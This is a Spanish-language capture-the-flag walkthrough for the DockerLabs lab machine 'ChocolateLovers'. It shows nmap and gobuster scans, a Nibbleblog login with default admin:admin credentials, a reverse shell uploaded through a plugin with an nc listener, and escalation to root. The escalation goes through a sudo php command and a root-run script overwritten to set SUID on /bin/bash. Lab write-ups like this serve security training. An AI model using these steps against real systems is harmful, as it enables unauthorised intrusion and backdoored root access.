> For the complete documentation index, see [llms.txt](https://beafn28.gitbook.io/beafn28/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://beafn28.gitbook.io/beafn28/writeups/dockerlabs/chocolatelovers.md).

# ChocolateLovers

✍️ Autor: El Pingüino de Mario🔍 Dificultad: Fácil  📅 Fecha de creación: 26/04/2024

### 🔍 RECONOCIMIENTO

En primer lugar, tras conectarnos a la máquina, utilizamos el comando:

```bash
ping -c 1 172.17.0.2
```

para verificar la conectividad de red.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FcJdgPaFvfen37QzjbSDB%2Fimage.png?alt=media&amp;token=75fcac84-26a7-465b-9191-32d895f24f60" alt=""><figcaption></figcaption></figure>

A continuación, realizamos el comando:

```bash
nmap -sVC -p- -n --min-rate 5000 172.17.0.2
```

para realizar un escaneo de puertos y servicios detallado en la dirección IP.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FTnNQlPrV5hsX52wYwtVv%2Fimage.png?alt=media&amp;token=6345b6a6-8a52-4692-8395-1aaa9d54b035" alt=""><figcaption></figcaption></figure>

Como podemos observar durante el escaneo que el **puerto 80** perteneciente al **servicio HTTP** está abierto por lo que a continuación se indagará más.

### 🔎 EXPLORACIÓN

Se utiliza el comando:

```bash
sudo nmap -sCV -p80 -v 172.17.0.2
```

para que nos proporcione más información sobre esos puertos específicamente.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2Fu43aNdBYDhOufK3nyYHa%2Fimage.png?alt=media&amp;token=84c29d8b-2881-4c2f-95d1-40e598381a9f" alt=""><figcaption></figcaption></figure>

Seguimos indagando más sobre los puertos y ahora indagamos sobre el **servicio HTTP**. Se ingresó la **dirección IP** en el navegador lo que llevó a que la página web por defecto de **Apache**.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2Fayc1m7CfPyw7ld3NqMmQ%2Fimage.png?alt=media&amp;token=f53dfefc-feeb-43e5-b339-b09233635b49" alt=""><figcaption></figcaption></figure>

Revisando el código fuente nos encontramos un directorio comentado llamado `/nibbleblog`.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FHEXKyIeOAAej5CBquw9f%2Fimage.png?alt=media&amp;token=9e48b2b0-0aea-45ba-b82b-3d410c3e59af" alt=""><figcaption></figcaption></figure>

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FjNmKRqsZxLSmNEaEfxKz%2Fimage.png?alt=media&amp;token=04803831-18f1-45d0-b1be-a9871521196f" alt=""><figcaption></figcaption></figure>

Ahora buscaremos directorios con la herramienta **Gobuster** a través de:

```bash
gobuster dir -u http://172.17.0.2/nibbleblog/ -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FlIJqvekgFyKZ7Bj8iE1m%2Fimage.png?alt=media&amp;token=bd2bfac0-2097-4209-87fc-9156df8f6954" alt=""><figcaption></figcaption></figure>

Nos intentamos loguear con credenciales por defecto **admin:admin** y estamos dentro.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2Fes6T3URlf3cKJsdf00wu%2Fimage.png?alt=media&amp;token=5201702a-3fe2-4e24-a84d-41fe2e545fed" alt=""><figcaption></figcaption></figure>

### 🚀 **EXPLOTACIÓN**

Entramos en plugins en instalar My image y subimos una [Reverse Shell](https://www.revshells.com/).

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FHhw7TTvyfZzMlQZJHET3%2Fimage.png?alt=media&amp;token=853b196b-5052-44e2-8dce-05b211251ca1" alt=""><figcaption></figcaption></figure>

Investigamos donde se ha subido el archivo y nos ponemos en escucha.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FceQWriBHOTsxjeQ3JJFV%2Fimage.png?alt=media&amp;token=5e3b1f2a-a58d-4e61-b805-c26ae8d93eb7" alt=""><figcaption></figcaption></figure>

```bash
nc -lvnp 443
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FW013iEhpTCXxHLc2p33l%2Fimage.png?alt=media&amp;token=acc08628-ca66-401a-bf4d-6e0afb2b4a70" alt=""><figcaption></figcaption></figure>

Hacemos el [tratamiento de la TTY](https://invertebr4do.github.io/tratamiento-de-tty/#) para trabajar más cómodos.

### 🔐 **PRIVILEGIOS**

Al estar dentro y ejecutar:

```bash
whoami
```

aún no somos **root**, por lo que hacemos:

```bash
sudo -l
```

para ver si hay algo para explotar.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2Faiyj4A5Ml5WtmfdOupun%2Fimage.png?alt=media&amp;token=505c143c-2bbe-4484-843e-8305ccaf76ef" alt=""><figcaption></figcaption></figure>

```bash
sudo -u chocolate php -r "system('/bin/bash');"
```

Ahora ya somos el usuario chocolate pero no somos root. Si nos damos cuenta los procesos que están corriendo hay uno que es muy raro.

```bash
ps -faux
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2F6uP9Ypo1bG6obWMxxiRw%2Fimage.png?alt=media&amp;token=29e492a4-975e-48ff-be11-e86f4e802ea9" alt=""><figcaption></figcaption></figure>

El archivo no contiene información útil, pero como el usuario `chocolate` es propietario, podemos modificarlo para incluir código **PHP** malicioso que se ejecute como **root**, creando una puerta trasera para escalar privilegios.

```bash
echo "<?php system('chmod +s /bin/bash'); ?>" > script.php
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2F00o3hQRcKr4sEC7G3kTF%2Fimage.png?alt=media&amp;token=5c195566-6450-41f1-84ad-f98fb696a8eb" alt=""><figcaption></figcaption></figure>

Ya tenemos permisos SUID y ahora los explotamos. Ya somos **root**.

```bash
/bin/bash -p
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FOuYGkzNQdsXcjhd9Zbyb%2Fimage.png?alt=media&amp;token=8faa6930-1815-482d-8aff-5684e6fc2f73" alt=""><figcaption></figcaption></figure>
